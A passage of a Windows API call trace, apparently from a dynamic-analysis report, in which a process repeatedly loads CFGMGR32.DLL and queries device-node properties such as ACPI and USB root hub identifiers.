GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.279] malloc (_Size=0x18) returned 0x196ef0d2000 [0181.280] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xb, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0181.280] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.280] SetEvent (hEvent=0x248) returned 1 [0181.282] SetEvent (hEvent=0x248) returned 1 [0181.283] free (_Block=0x196ef0ccda0) [0181.283] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.284] malloc (_Size=0x48) returned 0x196ef0cd160 [0181.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.284] SetEvent (hEvent=0x248) returned 1 [0181.287] SetEvent (hEvent=0x248) returned 1 [0181.288] free (_Block=0x196ef0cd160) [0181.288] CM_Get_Device_IDA (in: dnDevInst=0xc, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0B00\\4&22F5829E&0") returned 0x0 [0181.288] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.288] SetEvent (hEvent=0x248) returned 1 [0181.289] SetEvent (hEvent=0x248) returned 1 [0181.290] free (_Block=0x196ef0cc850) [0181.291] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0181.291] malloc (_Size=0x5a) returned 0x196ef0d06f0 [0181.291] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d06f0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d06f0, pulLength=0x67117d608) returned 0x0 [0181.292] free (_Block=0x196ef0d06f0) [0181.292] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4cead6aa, dwHighDateTime=0x1d9eb0c)) [0181.292] SetEvent (hEvent=0x248) returned 1 [0181.296] malloc (_Size=0x18) returned 0x196ef0d1e60 [0181.296] SafeArrayPutElement (psa=0x196ef1f2af0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0181.296] free (_Block=0x196ef0d1e60) [0181.296] malloc (_Size=0x18) returned 0x196ef0d1e60 [0181.296] SafeArrayPutElement (psa=0x196ef1f2af0, rgIndices=0x67117d6d8, pv=0x196ef1f26a8) returned 0x0 [0181.296] free (_Block=0x196ef0d1e60) [0181.296] malloc (_Size=0x18) returned 0x196ef0d1a60 [0181.296] SafeArrayPutElement (psa=0x196ef1f2af0, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0181.296] free (_Block=0x196ef0d1a60) [0181.296] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8553e0 [0181.296] SafeArrayGetDim (psa=0x196ef1f2af0) returned 0x1 [0181.296] SafeArrayGetLBound (in: psa=0x196ef1f2af0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0181.296] SafeArrayGetUBound (in: psa=0x196ef1f2af0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0181.296] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6350 [0181.296] SafeArrayGetDim (psa=0x196ef1f2af0) returned 0x1 [0181.296] SafeArrayGetUBound (in: psa=0x196ef1f2af0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0181.296] SafeArrayGetElemsize (psa=0x196ef1f2af0) returned 0x8 [0181.297] SafeArrayGetElement (in: psa=0x196ef1f2af0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0181.297] memcpy (in: _Dst=0x67117d268, _Src=0x196ee833810, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0181.297] memcpy (in: _Dst=0x67117d268, _Src=0x196ee833818, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0181.297] memcpy (in: _Dst=0x67117d268, _Src=0x196ee833820, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0181.298] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6350) returned 1 [0181.298] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8553e0) returned 1 [0181.299] SetEvent (hEvent=0x248) returned 1 [0181.299] free (_Block=0x196ef0cc850) [0181.300] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0181.300] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4cead6aa, dwHighDateTime=0x1d9eb0c)) [0181.300] SetEvent (hEvent=0x248) returned 1 [0181.301] SetEvent (hEvent=0x248) returned 1 [0181.302] free (_Block=0x196ef0ccda0) [0181.302] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.320] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ced3f36, dwHighDateTime=0x1d9eb0c)) [0181.320] SetEvent (hEvent=0x248) returned 1 [0181.468] SetEvent (hEvent=0x248) returned 1 [0181.469] free (_Block=0x196ef0ccda0) [0181.469] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.469] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.469] SetEvent (hEvent=0x248) returned 1 [0181.471] SetEvent (hEvent=0x248) returned 1 [0181.472] free (_Block=0x196ef0cc850) [0181.472] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.472] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.472] SetEvent (hEvent=0x248) returned 1 [0181.474] SetEvent (hEvent=0x248) returned 1 [0181.475] free (_Block=0x196ef0cc850) [0181.475] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0181.475] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.475] SetEvent (hEvent=0x248) returned 1 [0181.478] SetEvent (hEvent=0x248) returned 1 [0181.479] free (_Block=0x196ef0cc850) [0181.503] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.506] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d09d522, dwHighDateTime=0x1d9eb0c)) [0181.507] SetEvent (hEvent=0x248) returned 1 [0181.508] SetEvent (hEvent=0x248) returned 1 [0181.509] free (_Block=0x196ef0cc850) [0181.510] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xc, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0181.510] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4d09d522, dwHighDateTime=0x1d9eb0c)) [0181.510] SetEvent (hEvent=0x248) returned 1 [0181.516] SetEvent (hEvent=0x248) returned 1 [0181.517] free (_Block=0x196ef0cc850) [0181.517] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xc, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0181.517] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4d0c378d, dwHighDateTime=0x1d9eb0c)) [0181.517] SetEvent (hEvent=0x248) returned 1 [0181.521] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.521] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.521] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.524] malloc (_Size=0x18) returned 0x196ef0d1de0 [0181.524] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0181.525] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d0c378d, dwHighDateTime=0x1d9eb0c)) [0181.525] SetEvent (hEvent=0x248) returned 1 [0181.532] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.532] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.536] malloc (_Size=0x18) returned 0x196ef0d1d20 [0181.536] CM_Get_Device_IDA (in: dnDevInst=0xd, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB20\\4&13A29EA8&0") returned 0x0 [0181.536] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4d0ebebd, dwHighDateTime=0x1d9eb0c)) [0181.536] SetEvent (hEvent=0x248) returned 1 [0181.539] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.539] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.646] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0181.646] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0181.647] malloc (_Size=0xac) returned 0x196ef0f9020 [0181.647] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9020, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9020, pulLength=0x67117d608) returned 0x0 [0181.648] free (_Block=0x196ef0f9020) [0181.648] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4d1f4a17, dwHighDateTime=0x1d9eb0c)) [0181.648] SetEvent (hEvent=0x248) returned 1 [0181.651] malloc (_Size=0x18) returned 0x196ef0d1960 [0181.651] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0181.651] free (_Block=0x196ef0d1960) [0181.651] malloc (_Size=0x18) returned 0x196ef0d1e60 [0181.651] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0181.651] free (_Block=0x196ef0d1e60) [0181.665] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0181.665] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7777a8) returned 0x0 [0181.666] free (_Block=0x196ef0d1bc0) [0181.666] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855560 [0181.666] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0181.666] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0181.666] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0181.666] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0181.666] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0181.666] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0181.666] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0181.666] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0181.667] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0181.667] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0181.667] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336e0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0181.668] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0181.669] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855560) returned 1 [0181.669] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.669] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.672] malloc (_Size=0x18) returned 0x196ef0d1e00 [0181.672] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0181.673] malloc 